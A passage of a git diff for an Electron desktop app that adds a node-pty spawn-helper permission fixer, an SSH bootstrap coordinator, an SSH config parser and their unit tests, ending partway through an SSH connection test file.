+    join(root, 'prebuilds', 'darwin-x64', 'spawn-helper'),
+    join(root, 'prebuilds', 'linux-x64', 'spawn-helper'),
+    join(root, 'build', 'Release', 'spawn-helper')
+  ])
+})
+
+test('chmods only the non-executable spawn-helpers, leaving 0755 copies alone', () => {
+  const root = '/pkg/node-pty'
+  const arm = join(root, 'prebuilds', 'darwin-arm64', 'spawn-helper')
+  const x64 = join(root, 'prebuilds', 'darwin-x64', 'spawn-helper')
+
+  const fs = fakeFs(
+    {
+      [arm]: { mode: 0o644 },
+      [x64]: { mode: 0o755 }
+    },
+    { [join(root, 'prebuilds')]: ['darwin-arm64', 'darwin-x64'] }
+  )
+
+  const result = ensureSpawnHelperExecutable(root, fs)
+
+  assert.deepEqual(result.fixed, [arm])
+  assert.deepEqual(result.errors, [])
+  assert.deepEqual(fs.chmods, [{ path: arm, mode: 0o755 }])
+})
+
+test('missing spawn-helpers are skipped without error', () => {
+  const root = '/pkg/node-pty'
+  const fs = fakeFs({}, { [join(root, 'prebuilds')]: ['darwin-arm64'] })
+
+  const result = ensureSpawnHelperExecutable(root, fs)
+
+  assert.deepEqual(result.fixed, [])
+  assert.deepEqual(result.errors, [])
+  assert.deepEqual(fs.chmods, [])
+})
+
+test('chmod failures are collected, not thrown', () => {
+  const root = '/pkg/node-pty'
+  const arm = join(root, 'prebuilds', 'darwin-arm64', 'spawn-helper')
+
+  const fs = fakeFs({ [arm]: { mode: 0o644, chmodThrows: true } }, { [join(root, 'prebuilds')]: ['darwin-arm64'] })
+
+  const result = ensureSpawnHelperExecutable(root, fs)
+
+  assert.deepEqual(result.fixed, [])
+  assert.equal(result.errors.length, 1)
+  assert.equal(result.errors[0].path, arm)
+})
+
+test('no prebuilds dir (Windows layout) is a clean no-op', () => {
+  const root = '/pkg/node-pty'
+  const fs = fakeFs({}, {})
+
+  const result = ensureSpawnHelperExecutable(root, fs)
+
+  assert.deepEqual(result.fixed, [])
+  assert.deepEqual(result.errors, [])
+})
diff --git a/ui-desktop/electron/spawn-helper-perms.ts b/ui-desktop/electron/spawn-helper-perms.ts
new file mode 100644
index 000000000..684b77096
--- /dev/null
+++ b/ui-desktop/electron/spawn-helper-perms.ts
@@ -0,0 +1,122 @@
+// node-pty ships its POSIX `spawn-helper` inside the published npm tarball with
+// mode 0644 (no exec bit). node-pty `posix_spawnp`s that helper on macOS/Linux,
+// so a non-executable helper fails every terminal spawn with
+// `Error: posix_spawnp failed.`. Packaged builds are covered because
+// stage-native-deps.mjs chmods the staged copy, but the dev flow
+// (`npm run dev` → `electron .`) resolves node-pty straight from
+// `node_modules/`, which nobody chmods. This restores the exec bits at runtime,
+// best-effort, so both dev and any environment that stripped the bit keep
+// working. Idempotent: files that are already executable are left untouched.
+
+import {
+  chmodSync as realChmodSync,
+  existsSync as realExistsSync,
+  readdirSync as realReaddirSync,
+  statSync as realStatSync
+} from 'node:fs'
+import { join } from 'node:path'
+
+const EXEC_BITS = 0o111
+
+// Electron exposes module paths inside app.asar even when electron-builder has
+// unpacked the native payload beside it. `stat` can read an archived path, but
+// chmod cannot mutate it (ENOTDIR). Native node-pty helpers belong in the
+// writable app.asar.unpacked tree; leave an already-unpacked path unchanged.
+export function writableNodePtyRoot(nodePtyRoot: string): string {
+  return nodePtyRoot.replace(/app\.asar(?!\.unpacked)/, 'app.asar.unpacked')
+}
+
+export interface SpawnHelperFs {
+  existsSync(path: string): boolean
+  readdirSync(path: string): string[]
+  statSync(path: string): { mode: number }
+  chmodSync(path: string, mode: number): void
+}
+
+export interface EnsureSpawnHelperResult {
+  fixed: string[]
+  errors: { path: string; error: string }[]
+}
+
+const defaultFs: SpawnHelperFs = {
+  existsSync: realExistsSync,
+  readdirSync: (path: string) => realReaddirSync(path),
+  statSync: (path: string) => realStatSync(path),
+  chmodSync: realChmodSync
+}
+
+// True when any of the owner/group/other execute bits are missing.
+export function needsExecBit(mode: number): boolean {
+  return (mode & EXEC_BITS) !== EXEC_BITS
+}
+
+// Preserve existing permission bits, adding execute for owner/group/other.
+export function withExecBits(mode: number): number {
+  return mode | EXEC_BITS
+}
+
+// Every place a `spawn-helper` can live under a node-pty package root: one per
+// bundled prebuild (`prebuilds/<platform>-<arch>/`) plus a locally compiled
+// `build/Release/` copy. Windows layouts have no spawn-helper, so the list is
+// naturally empty there.
+export function spawnHelperCandidates(
+  nodePtyRoot: string,
+  fs: Pick<SpawnHelperFs, 'existsSync' | 'readdirSync'> = defaultFs
+): string[] {
+  const candidates: string[] = []
+  const prebuilds = join(nodePtyRoot, 'prebuilds')
+
+  if (fs.existsSync(prebuilds)) {
+    for (const entry of fs.readdirSync(prebuilds)) {
+      candidates.push(join(prebuilds, entry, 'spawn-helper'))
+    }
+  }
+
+  candidates.push(join(nodePtyRoot, 'build', 'Release', 'spawn-helper'))
+
+  return candidates
+}
+
+function errorMessage(error: unknown): string {
+  return error instanceof Error ? error.message : String(error)
+}
+
+// Best-effort: ensure every existing spawn-helper under `nodePtyRoot` is
+// executable. Never throws — missing files are skipped, and chmod/stat failures
+// are collected so the caller can log them without breaking terminal startup.
+export function ensureSpawnHelperExecutable(
+  nodePtyRoot: string,
+  fs: SpawnHelperFs = defaultFs
+): EnsureSpawnHelperResult {
+  const result: EnsureSpawnHelperResult = { fixed: [], errors: [] }
+  const writableRoot = writableNodePtyRoot(nodePtyRoot)
+
+  for (const path of spawnHelperCandidates(writableRoot, fs)) {
+    if (!fs.existsSync(path)) {
+      continue
+    }
+
+    let mode: number
+
+    try {
+      mode = fs.statSync(path).mode
+    } catch (error) {
+      result.errors.push({ path, error: errorMessage(error) })
+
+      continue
+    }
+
+    if (!needsExecBit(mode)) {
+      continue
+    }
+
+    try {
+      fs.chmodSync(path, withExecBits(mode))
+      result.fixed.push(path)
+    } catch (error) {
+      result.errors.push({ path, error: errorMessage(error) })
+    }
+  }
+
+  return result
+}
diff --git a/ui-desktop/electron/ssh-bootstrap-coordinator.test.ts b/ui-desktop/electron/ssh-bootstrap-coordinator.test.ts
new file mode 100644
index 000000000..efe2154f4
--- /dev/null
+++ b/ui-desktop/electron/ssh-bootstrap-coordinator.test.ts
@@ -0,0 +1,193 @@
+import assert from 'node:assert/strict'
+
+import { test } from 'vitest'
+
+import { createBootstrapCoordinator, sshConfigFingerprint } from './ssh-bootstrap-coordinator'
+
+function deferred() {
+  let resolve
+  let reject
+
+  const promise = new Promise((ok, fail) => {
+    resolve = ok
+    reject = fail
+  })
+
+  return { promise, reject, resolve }
+}
+
+const config = { host: 'box', user: 'alice', port: 22, keyPath: '/key', remoteClawCodexPath: '/clawcodex' }
+
+test('sshConfigFingerprint covers scope and every connection field', () => {
+  const base = sshConfigFingerprint('', config)
+  assert.equal(base, sshConfigFingerprint('', { ...config }))
+
+  for (const [field, value] of Object.entries({
+    host: 'other',
+    user: 'bob',
+    port: 2222,
+    keyPath: '/other',
+    remoteClawCodexPath: '/other-clawcodex',
+    remoteProfile: 'default',
+    effectiveConfigFingerprint: 'changed-config'
+  })) {
+    assert.notEqual(base, sshConfigFingerprint('', { ...config, [field]: value }))
+  }
+
+  assert.notEqual(base, sshConfigFingerprint('profile', config))
+})
+
+test('same scope and fingerprint share one bootstrap', async () => {
+  const coordinator = createBootstrapCoordinator()
+  const gate = deferred()
+  let runs = 0
+
+  const first = coordinator.start('', 'same', async () => {
+    runs++
+
+    return gate.promise
+  })
+
+  const second = coordinator.start('', 'same', async () => {
+    runs++
+
+    return 'wrong'
+  })
+
+  assert.equal(first, second)
+  gate.resolve('done')
+  assert.equal(await second, 'done')
+  assert.equal(runs, 1)
+})
+
+test('changed fingerprint waits for old rollback before starting', async () => {
+  const coordinator = createBootstrapCoordinator()
+  const gate = deferred()
+  const events: string[] = []
+  let oldLease
+
+  const oldPromise = coordinator.start('', 'old', async lease => {
+    oldLease = lease
+    events.push('old-start')
+    await gate.promise
+    events.push('old-rollback')
+    lease.assertCurrent()
+  })
+
+  await Promise.resolve()
+
+  const newPromise = coordinator.start('', 'new', async lease => {
+    events.push('new-start')
+    lease.assertCurrent()
+
+    return 'new'
+  })
+
+  assert.equal(oldLease.signal.aborted, true)
+  await Promise.resolve()
+  assert.deepEqual(events, ['old-start'])
+  gate.resolve()
+  await assert.rejects(oldPromise, (error: any) => error.kind === 'superseded')
+  assert.equal(await newPromise, 'new')
+  assert.deepEqual(events, ['old-start', 'old-rollback', 'new-start'])
+})
+
+test('forceCleanupAll runs registered pending resource cleanup', async () => {
+  const coordinator = createBootstrapCoordinator()
+  const gate = deferred()
+  let cleaned = 0
+
+  const promise = coordinator.start('', 'x', async lease => {
+    lease.onForceCleanup(async () => {
+      cleaned++
+    })
+    await gate.promise
+  })
+
+  await Promise.resolve()
+  await coordinator.forceCleanupAll()
+  assert.equal(cleaned, 1)
+  gate.resolve()
+  await promise
+})
+
+test('cancelAll invalidates every pending scope and exposes promises for quit', async () => {
+  const coordinator = createBootstrapCoordinator()
+  const gates = [deferred(), deferred()]
+
+  const promises = gates.map((gate, index) =>
+    coordinator.start(String(index), 'x', async lease => {
+      await gate.promise
+      lease.assertCurrent()
+    })
+  )
+
+  assert.equal(coordinator.promises().length, 2)
+  coordinator.cancelAll()
+  gates.forEach(gate => gate.resolve())
+  const results = await Promise.allSettled(promises)
+  assert.ok(results.every(result => result.status === 'rejected' && (result.reason as any).kind === 'superseded'))
+})
+
+test('cancelAndWait drains only the requested scope', async () => {
+  const coordinator = createBootstrapCoordinator()
+  const firstGate = deferred()
+  const secondGate = deferred()
+
+  const first = coordinator.start('first', 'x', async lease => {
+    await firstGate.promise
+    lease.assertCurrent()
+  })
+
+  const second = coordinator.start('second', 'x', async lease => {
+    await secondGate.promise
+    lease.assertCurrent()
+
+    return 'second'
+  })
+
+  await Promise.resolve()
+  let drained = false
+
+  const drain = coordinator.cancelAndWait('first').then(() => {
+    drained = true
+  })
+
+  await Promise.resolve()
+  assert.equal(drained, false)
+  firstGate.resolve()
+  await drain
+  await assert.rejects(first, (error: any) => error.kind === 'superseded')
+  assert.equal(coordinator.pending.has('second'), true)
+  secondGate.resolve()
+  assert.equal(await second, 'second')
+})
+
+test('a generation started during cancelAndWait cannot run before the drain completes', async () => {
+  const coordinator = createBootstrapCoordinator()
+  const oldGate = deferred()
+  const events: string[] = []
+
+  const old = coordinator.start('scope', 'old', async lease => {
+    events.push('old-start')
+    await oldGate.promise
+    lease.assertCurrent()
+  })
+
+  await Promise.resolve()
+  const drain = coordinator.cancelAndWait('scope')
+
+  const next = coordinator.start('scope', 'new', async () => {
+    events.push('new-start')
+
+    return 'new'
+  })
+
+  await Promise.resolve()
+  assert.deepEqual(events, ['old-start'])
+  oldGate.resolve()
+  await drain
+  await assert.rejects(old, (error: any) => error.kind === 'superseded')
+  assert.equal(await next, 'new')
+  assert.deepEqual(events, ['old-start', 'new-start'])
+})
diff --git a/ui-desktop/electron/ssh-bootstrap-coordinator.ts b/ui-desktop/electron/ssh-bootstrap-coordinator.ts
new file mode 100644
index 000000000..7668d96b2
--- /dev/null
+++ b/ui-desktop/electron/ssh-bootstrap-coordinator.ts
@@ -0,0 +1,131 @@
+import crypto from 'node:crypto'
+
+function sshConfigFingerprint(scope, config) {
+  const parts = [
+    scope,
+    config.host,
+    config.user,
+    config.port,
+    config.keyPath,
+    config.remoteClawCodexPath,
+    config.remoteProfile,
+    config.effectiveConfigFingerprint
+  ]
+
+  return crypto
+    .createHash('sha256')
+    .update(JSON.stringify(parts.map(value => value ?? '')))
+    .digest('hex')
+}
+
+function createBootstrapCoordinator() {
+  const active = new Set<any>()
+  const pending = new Map<string, any>()
+  const generations = new Map<string, number>()
+  const drains = new Map<string, Promise<void>>()
+
+  function start(scope, fingerprint, run) {
+    const current = pending.get(scope)
+
+    if (current?.fingerprint === fingerprint) {
+      return current.promise
+    }
+
+    current?.controller.abort()
+
+    const generation = (generations.get(scope) || 0) + 1
+    generations.set(scope, generation)
+    const controller = new AbortController()
+    const forceCleanups = new Set<() => any>()
+
+    const lease = {
+      signal: controller.signal,
+      onForceCleanup(cleanup) {
+        forceCleanups.add(cleanup)
+
+        return () => forceCleanups.delete(cleanup)
+      },
+      isCurrent: () => !controller.signal.aborted && generations.get(scope) === generation,
+      assertCurrent() {
+        if (!this.isCurrent()) {
+          const error: any = new Error('SSH bootstrap was superseded by newer connection settings.')
+          error.kind = 'superseded'
+          throw error
+        }
+      }
+    }
+
+    const drain = drains.get(scope) || Promise.resolve()
+    const predecessor = current ? Promise.allSettled([current.promise, drain]) : drain
+    const entry: any = { controller, fingerprint, forceCleanups, generation, promise: null, scope }
+
+    const promise = predecessor
+      .then(() => {
+        lease.assertCurrent()
+
+        return run(lease)
+      })
+      .finally(() => {
+        forceCleanups.clear()
+        active.delete(entry)
+
+        if (pending.get(scope)?.generation === generation) {
+          pending.delete(scope)
+        }
+      })
+
+    entry.promise = promise
+    active.add(entry)
+    pending.set(scope, entry)
+
+    return promise
+  }
+
+  function cancel(scope) {
+    pending.get(scope)?.controller.abort()
+  }
+
+  async function cancelAndWait(scope) {
+    let release
+
+    const barrier = new Promise<void>(resolve => {
+      release = resolve
+    })
+
+    drains.set(scope, barrier)
+    const entries = [...active].filter(entry => entry.scope === scope)
+
+    for (const entry of entries) {
+      entry.controller.abort()
+    }
+
+    try {
+      await Promise.allSettled(entries.map(entry => entry.promise))
+    } finally {
+      if (drains.get(scope) === barrier) {
+        drains.delete(scope)
+      }
+
+      release()
+    }
+  }
+
+  function cancelAll() {
+    for (const entry of active) {
+      entry.controller.abort()
+    }
+  }
+
+  async function forceCleanupAll() {
+    const cleanups = [...active].flatMap(entry => [...entry.forceCleanups])
+    await Promise.allSettled(cleanups.map(cleanup => cleanup()))
+  }
+
+  function promises() {
+    return [...active].map(entry => entry.promise)
+  }
+
+  return { active, cancel, cancelAll, cancelAndWait, forceCleanupAll, pending, promises, start }
+}
+
+export { createBootstrapCoordinator, sshConfigFingerprint }
diff --git a/ui-desktop/electron/ssh-config.test.ts b/ui-desktop/electron/ssh-config.test.ts
new file mode 100644
index 000000000..01eb89910
--- /dev/null
+++ b/ui-desktop/electron/ssh-config.test.ts
@@ -0,0 +1,104 @@
+import assert from 'node:assert/strict'
+
+import { test } from 'vitest'
+
+import { collectSshConfigHosts, parseSshConfigHosts, parseSshConfigIncludes, parseSshGOutput } from './ssh-config'
+
+test('parseSshConfigHosts keeps literal aliases and drops wildcard/negated patterns', () => {
+  const cfg = [
+    'Host devbox',
+    '  HostName 10.0.0.5',
+    'Host *.internal prod !staging glob*',
+    'Host alpha beta',
+    '# Host commented-out',
+    'host lower-case'
+  ].join('\n')
+
+  assert.deepEqual(parseSshConfigHosts(cfg), ['devbox', 'prod', 'alpha', 'beta', 'lower-case'])
+})
+
+test('parseSshConfigHosts de-duplicates', () => {
+  assert.deepEqual(parseSshConfigHosts('Host box\nHost box\nHost box other'), ['box', 'other'])
+})
+
+test('parseSshConfigIncludes extracts include tokens', () => {
+  const cfg = 'Include ~/.ssh/config.d/*\nInclude work_hosts personal_hosts\n# Include ignored'
+  assert.deepEqual(parseSshConfigIncludes(cfg), ['~/.ssh/config.d/*', 'work_hosts', 'personal_hosts'])
+})
+
+test('collectSshConfigHosts follows Include directives (read-only)', () => {
+  const files = {
+    '/home/u/.ssh/config': 'Host main\nInclude work\nInclude ~/abs_inc',
+    '/home/u/.ssh/work': 'Host work-box\nInclude nested',
+    '/home/u/.ssh/nested': 'Host deep',
+    '/home/u/abs_inc': 'Host home-abs'
+  }
+
+  const hosts = collectSshConfigHosts('/home/u/.ssh/config', {
+    homeDir: '/home/u',
+    readFile: p => files[p] ?? null
+  })
+
+  assert.deepEqual(hosts.sort(), ['deep', 'home-abs', 'main', 'work-box'].sort())
+})
+
+test('collectSshConfigHosts tolerates a missing config file', () => {
+  assert.deepEqual(collectSshConfigHosts('/nope/config', { homeDir: '/home/u', readFile: () => null }), [])
+})
+
+test('collectSshConfigHosts does not loop on a self-include cycle', () => {
+  const files = {
+    '/home/u/.ssh/config': 'Host a\nInclude loop',
+    '/home/u/.ssh/loop': 'Host b\nInclude config' // points back at config
+  }
+
+  const hosts = collectSshConfigHosts('/home/u/.ssh/config', {
+    homeDir: '/home/u',
+    readFile: p => files[p] ?? null
+  })
+
+  assert.deepEqual(hosts.sort(), ['a', 'b'])
+})
+
+test('collectSshConfigHosts expands globbed includes via injected globSync', () => {
+  const files = {
+    '/home/u/.ssh/config': 'Host root\nInclude config.d/*',
+    '/home/u/.ssh/config.d/10-work': 'Host work',
+    '/home/u/.ssh/config.d/20-home': 'Host home'
+  }
+
+  const hosts = collectSshConfigHosts('/home/u/.ssh/config', {
+    homeDir: '/home/u',
+    readFile: p => files[p] ?? null,
+    globSync: pattern =>
+      pattern.endsWith('config.d/*') ? ['/home/u/.ssh/config.d/10-work', '/home/u/.ssh/config.d/20-home'] : [pattern]
+  })
+
+  assert.deepEqual(hosts.sort(), ['home', 'root', 'work'].sort())
+})
+
+test('parseSshGOutput pulls hostname/user/port/identityfile', () => {
+  const out = [
+    'host devbox',
+    'hostname 10.0.0.5',
+    'user alice',
+    'port 2222',
+    'identityfile ~/.ssh/id_ed25519',
+    'forwardagent no'
+  ].join('\n')
+
+  assert.deepEqual(parseSshGOutput(out), {
+    hostname: '10.0.0.5',
+    user: 'alice',
+    port: 2222,
+    identityFile: '~/.ssh/id_ed25519'
+  })
+})
+
+test('parseSshGOutput takes the FIRST identityfile and tolerates missing keys', () => {
+  const out = 'hostname box\nidentityfile ~/.ssh/a\nidentityfile ~/.ssh/b'
+  const parsed = parseSshGOutput(out)
+  assert.equal(parsed.identityFile, '~/.ssh/a')
+  assert.equal(parsed.user, null)
+  assert.equal(parsed.port, null)
+})
diff --git a/ui-desktop/electron/ssh-config.ts b/ui-desktop/electron/ssh-config.ts
new file mode 100644
index 000000000..e22a6a9d8
--- /dev/null
+++ b/ui-desktop/electron/ssh-config.ts
@@ -0,0 +1,175 @@
+/**
+ * ssh-config.ts
+ *
+ * Pure, electron-free helpers for reading the user's OpenSSH client config:
+ * `Host` aliases for the settings UI's suggestions, `Include` traversal
+ * (read-only), and `ssh -G` output parsing. No `import 'electron'` so it's
+ * unit-testable without Electron; main.ts wires the fs + `ssh -G` exec in.
+ */
+
+import fs from 'node:fs'
+import os from 'node:os'
+import path from 'node:path'
+
+function parseSshConfigHosts(text) {
+  const hosts: string[] = []
+  const seen = new Set()
+
+  for (const rawLine of String(text || '').split('\n')) {
+    const line = rawLine.trim()
+
+    if (!line || line.startsWith('#')) {
+      continue
+    }
+
+    const m = /^host\s+(.+)$/i.exec(line)
+
+    if (!m) {
+      continue
+    }
+
+    for (const pattern of m[1].split(/\s+/)) {
+      if (!pattern || pattern.includes('*') || pattern.includes('?') || pattern.startsWith('!')) {
+        continue
+      }
+
+      if (!seen.has(pattern)) {
+        seen.add(pattern)
+        hosts.push(pattern)
+      }
+    }
+  }
+
+  return hosts
+}
+
+function parseSshConfigIncludes(text) {
+  const includes: string[] = []
+
+  for (const rawLine of String(text || '').split('\n')) {
+    const line = rawLine.trim()
+
+    if (!line || line.startsWith('#')) {
+      continue
+    }
+
+    const m = /^include\s+(.+)$/i.exec(line)
+
+    if (!m) {
+      continue
+    }
+
+    for (const token of m[1].split(/\s+/)) {
+      if (token) {
+        includes.push(token)
+      }
+    }
+  }
+
+  return includes
+}
+
+function collectSshConfigHosts(rootPath = '', deps: any = {}) {
+  const readFile =
+    deps.readFile ||
+    (p => {
+      try {
+        return fs.readFileSync(p, 'utf8')
+      } catch {
+        return null
+      }
+    })
+
+  const homeDir = deps.homeDir || os.homedir()
+  const root = rootPath || path.join(homeDir, '.ssh', 'config')
+  const sshDir = path.join(homeDir, '.ssh')
+
+  const out: string[] = []
+  const seen = new Set()
+  const visited = new Set()
+
+  const resolveIncludePath = token => {
+    if (token.startsWith('~/')) {
+      return path.join(homeDir, token.slice(2))
+    }
+
+    if (path.isAbsolute(token)) {
+      return token
+    }
+
+    return path.join(sshDir, token)
+  }
+
+  const walk = (filePath, depth) => {
+    if (depth > 8 || visited.has(filePath)) {
+      return
+    }
+
+    visited.add(filePath)
+    const text = readFile(filePath)
+
+    if (text == null) {
+      return
+    }
+
+    for (const host of parseSshConfigHosts(text)) {
+      if (!seen.has(host)) {
+        seen.add(host)
+        out.push(host)
+      }
+    }
+
+    for (const token of parseSshConfigIncludes(text)) {
+      const target = resolveIncludePath(token)
+      const expanded = deps.globSync ? deps.globSync(target) : [target]
+
+      for (const p of expanded) {
+        walk(p, depth + 1)
+      }
+    }
+  }
+
+  walk(root, 0)
+
+  return out
+}
+
+function parseSshGOutput(text) {
+  const out: { hostname: string | null; user: string | null; port: number | null; identityFile: string | null } = {
+    hostname: null,
+    user: null,
+    port: null,
+    identityFile: null
+  }
+
+  for (const rawLine of String(text || '').split('\n')) {
+    const line = rawLine.trim()
+
+    if (!line) {
+      continue
+    }
+
+    const sp = line.indexOf(' ')
+
+    if (sp === -1) {
+      continue
+    }
+
+    const key = line.slice(0, sp).toLowerCase()
+    const value = line.slice(sp + 1).trim()
+
+    if (key === 'hostname' && !out.hostname) {
+      out.hostname = value
+    } else if (key === 'user' && !out.user) {
+      out.user = value
+    } else if (key === 'port' && !out.port) {
+      out.port = Number.parseInt(value, 10) || null
+    } else if (key === 'identityfile' && !out.identityFile) {
+      out.identityFile = value
+    }
+  }
+
+  return out
+}
+
+export { collectSshConfigHosts, parseSshConfigHosts, parseSshConfigIncludes, parseSshGOutput }
diff --git a/ui-desktop/electron/ssh-connection.test.ts b/ui-desktop/electron/ssh-connection.test.ts
new file mode 100644
index 000000000..27f5c93cc
--- /dev/null
+++ b/ui-desktop/electron/ssh-connection.test.ts
@@ -0,0 +1,866 @@
+import assert from 'node:assert/strict'
+import { EventEmitter } from 'node:events'
+import fs from 'node:fs'
+import os from 'node:os'
+import path from 'node:path'
+
+import { test } from 'vitest'
+
+import {
+  baseSshOptions,
+  buildControlArgs,
+  buildExecArgs,
+  buildInteractiveSshArgs,
+  buildMasterArgs,
+  classifySshError,
+  controlSocketPath,
+  createSshProbeConnection,
+  forwardSpec,
+  hostArgs,
+  redactSecrets,
+  runSsh,
+  SSH_ERROR,
+  SshConnection,
+  sshErrorMessage,
+  stopTunnelChild,
+  target,
+  validateSshTarget
+} from './ssh-connection'
+
+test('redactSecrets scrubs the spawn-time session token env var', () => {
+  const line = 'setsid env CLAWCODEX_DASHBOARD_SESSION_TOKEN=abc123deadbeef CLAWCODEX_DESKTOP=1 clawcodex dashboard'
+  const out = redactSecrets(line)
+  assert.ok(!out.includes('abc123deadbeef'))
+  assert.match(out, /CLAWCODEX_DASHBOARD_SESSION_TOKEN=<redacted>/)
+  // non-secret env vars are preserved
+  assert.match(out, /CLAWCODEX_DESKTOP=1/)
+})
+
+test('redactSecrets scrubs ?token= and ?ticket= URL params', () => {
+  assert.match(redactSecrets('ws://127.0.0.1:5000/api/ws?token=supersecret'), /\?token=<redacted>/)
+  assert.match(redactSecrets('ws://127.0.0.1:5000/api/ws?ticket=onetimeticket'), /\?ticket=<redacted>/)
+  assert.match(redactSecrets('GET /x?a=1&token=zzz HTTP'), /&token=<redacted>/)
+  assert.ok(!redactSecrets('?token=supersecret').includes('supersecret'))
+})
+
+test('redactSecrets scrubs Authorization and X-ClawCodex-Session-Token headers', () => {
+  assert.match(redactSecrets('Authorization: Bearer tok_9999'), /Authorization: Bearer <redacted>/)
+  assert.ok(!redactSecrets('Authorization: Bearer tok_9999').includes('tok_9999'))
+  assert.match(redactSecrets('X-ClawCodex-Session-Token: hdr_888'), /X-ClawCodex-Session-Token: ?<redacted>/)
+  assert.ok(!redactSecrets('X-ClawCodex-Session-Token: hdr_888').includes('hdr_888'))
+})
+
+test('redactSecrets handles null/undefined and non-secret text untouched', () => {
+  assert.equal(redactSecrets(null), '')
+  assert.equal(redactSecrets(undefined), '')
+  assert.equal(redactSecrets('uname -s -m'), 'uname -s -m')
+})
+
+test('controlSocketPath is stable, short, and host-distinct', () => {
+  const a = controlSocketPath('me', 'box1', 22, '/tmp/d')
+  const a2 = controlSocketPath('me', 'box1', 22, '/tmp/d')
+  const b = controlSocketPath('me', 'box2', 22, '/tmp/d')
+  assert.equal(a, a2, 'same triple → same socket (ControlMaster reuse)')
+  assert.notEqual(a, b, 'different host → different socket')
+  // 16 hex chars + .sock keeps the basename short for sun_path 104-byte limit
+  assert.match(a, /\/[0-9a-f]{16}\.sock$/)
+})
+
+test('controlSocketPath default base stays under sun_path even with the temp-listener suffix', () => {
+  // OpenSSH binds a temporary listener at `<ControlPath>.<16 random chars>` (a
+  // 17-byte suffix) while opening the master. The macOS regression was the
+  // default base under os.tmpdir() (/var/folders/.../T/) pushing it over 104.
+  const p = controlSocketPath('clawcodex', 'remote-build-server', 22) // no baseDir → default
+  const worstCase = `${p}.0123456789abcdef` // mimic the .<16-char> temp suffix
+  assert.ok(
+    worstCase.length <= 104,
+    `default control socket + temp suffix must fit sun_path (got ${worstCase.length}: ${worstCase})`
+  )
+  // And it must NOT live under the deeply-nested macOS per-user temp dir.
+  assert.ok(!p.includes('/var/folders/'), 'default base must not be os.tmpdir() on macOS')
+})
+
+test('baseSshOptions carries the house ControlMaster/BatchMode/accept-new policy', () => {
+  const opts = baseSshOptions('/tmp/x.sock', 15000)
+  const joined = opts.join(' ')
+  assert.match(joined, /ControlPath=\/tmp\/x\.sock/)
+  assert.match(joined, /ControlMaster=auto/)
+  assert.match(joined, /ControlPersist=\d+/)
+  assert.match(joined, /BatchMode=yes/)
+  assert.match(joined, /StrictHostKeyChecking=accept-new/)
+  assert.match(joined, /ExitOnForwardFailure=yes/)
+  assert.match(joined, /ConnectTimeout=15/)
+  assert.ok(!joined.includes('StrictHostKeyChecking=no'), 'never disables host-key checking')
+})
+
+test('hostArgs adds -p only for non-default port and -i only with a key', () => {
+  assert.deepEqual(hostArgs({ port: 22 }), [])
+  assert.deepEqual(hostArgs({ port: 2222 }), ['-p', '2222'])
+  assert.deepEqual(hostArgs({ port: 22, keyPath: '/k' }), ['-i', '/k'])
+  assert.deepEqual(hostArgs({ port: 2200, keyPath: '/k' }), ['-p', '2200', '-i', '/k'])
+})
+
+test('target builds user@host or bare host', () => {
+  assert.equal(target('me', 'box'), 'me@box')
+  assert.equal(target('', 'box'), 'box')
+})
+
+test('buildExecArgs ends with host then the remote command', () => {
+  const conn = { user: 'me', host: 'box', port: 22, keyPath: '', controlPath: '/tmp/x.sock' }
+  const args = buildExecArgs(conn, 'command -v clawcodex', 15000)
+  assert.equal(args[args.length - 1], 'command -v clawcodex')
+  assert.equal(args[args.length - 2], 'me@box')
+  assert.ok(args.includes('BatchMode=yes'))
+})
+
+test('buildControlArgs places -O <op> first and never appends a remote command', () => {
+  const conn = { user: 'me', host: 'box', port: 2222, keyPath: '/k', controlPath: '/tmp/x.sock' }
+  const args = buildControlArgs(conn, 'forward', ['-L', forwardSpec(5000, 6000)], 15000)
+  assert.equal(args[0], '-O')
+  assert.equal(args[1], 'forward')
+  assert.ok(args.includes('-L'))
+  assert.ok(args.includes('127.0.0.1:5000:127.0.0.1:6000'))
+  assert.equal(args[args.length - 1], 'me@box')
+})
+
+test('buildMasterArgs requests a backgrounded master (-M -N -f)', () => {
+  const conn = { user: 'me', host: 'box', port: 22, keyPath: '', controlPath: '/tmp/x.sock' }
+  const args = buildMasterArgs(conn, 15000)
+  assert.ok(args.includes('-M'))
+  assert.ok(args.includes('-N'))
+  assert.ok(args.includes('-f'))
+})
+
+test('forwardSpec binds the local end to 127.0.0.1 only', () => {
+  assert.equal(forwardSpec(5000, 6000), '127.0.0.1:5000:127.0.0.1:6000')
+  assert.ok(forwardSpec(5000, 6000).startsWith('127.0.0.1:'))
+  assert.ok(!forwardSpec(5000, 6000).startsWith('0.0.0.0'))
+})
+
+test('buildInteractiveSshArgs requests a PTY, reuses the control master, execs a login shell', () => {
+  const conn = { user: 'me', host: 'box', port: 22, keyPath: '', controlPath: '/tmp/x.sock' }
+  const args = buildInteractiveSshArgs(conn, '', 15000)
+  assert.equal(args[0], '-tt', 'forces a PTY so the remote sees a real terminal')
+  assert.ok(args.join(' ').includes('ControlPath=/tmp/x.sock'), 'reuses the existing master (no new auth)')
+  assert.equal(args[args.length - 2], 'me@box')
+  assert.equal(args[args.length - 1], 'exec "$SHELL" -l')
+})
+
+test('buildInteractiveSshArgs cds into the remote cwd (best-effort) before the shell', () => {
+  const conn = { user: 'me', host: 'box', port: 22, keyPath: '', controlPath: '/tmp/x.sock' }
+  const args = buildInteractiveSshArgs(conn, '/home/me/project', 15000)
+  const remoteCmd = args[args.length - 1]
+  assert.match(remoteCmd, /^cd '\/home\/me\/project' 2>\/dev\/null; exec "\$SHELL" -l$/)
+})
+
+test('buildInteractiveSshArgs single-quotes a cwd with quotes safely', () => {
+  const conn = { user: 'me', host: 'box', port: 22, keyPath: '', controlPath: '/tmp/x.sock' }
+  const args = buildInteractiveSshArgs(conn, "/tmp/a'b", 15000)
+  // the embedded quote must be escaped, not break out of the quoting
+  assert.ok(args[args.length - 1].startsWith("cd '/tmp/a'"))
+  assert.ok(args[args.length - 1].includes('exec "$SHELL" -l'))
+})
+
+test('classifySshError detects a changed host key (fail-closed)', () => {
+  assert.equal(
+    classifySshError('@@@@ WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED! @@@@'),
+    SSH_ERROR.HOST_KEY_CHANGED
+  )
+  assert.equal(classifySshError('Host key verification failed.'), SSH_ERROR.HOST_KEY_CHANGED)
+  assert.equal(classifySshError('Offending ECDSA key in /home/u/.ssh/known_hosts:5'), SSH_ERROR.HOST_KEY_CHANGED)
+})
+
+test('classifySshError detects auth failure', () => {
